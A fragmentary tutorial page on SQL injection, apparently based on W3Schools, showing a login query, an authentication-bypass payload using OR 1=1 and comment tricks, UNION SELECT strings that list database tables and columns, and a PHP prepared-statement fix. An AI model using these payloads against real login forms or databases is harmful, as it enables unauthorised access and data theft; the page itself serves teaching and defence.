



SQL Injection

SQL Injection

SQL Injection.

User-Id:

Password:

`select * from Users where user_id= 'itswadesh'
and password = ' newpassword '`

User-Id:

Password:

`select * from Users where user_id= `` OR 1 = 1; /* '
and password = ' */-- '`

```
0' UNION SELECT table_name,null FROM information_schema.tables 0' UNION SELECT colu  
mn_name,table_name FROM information_schema.columns $stmt = $dbh->prepare("INSERT IN  
TO Customers (CustomerName,Address,City) VALUES (:nam, :add, :cit)"); $stmt->bindPa  
ram(':nam', $txtNam); $stmt->bindParam(':add', $txtAdd); $stmt->bindParam(':cit',  
$txtCit); $stmt->execute();
```

https://www.w3schools.com/sql/sql_injection.asp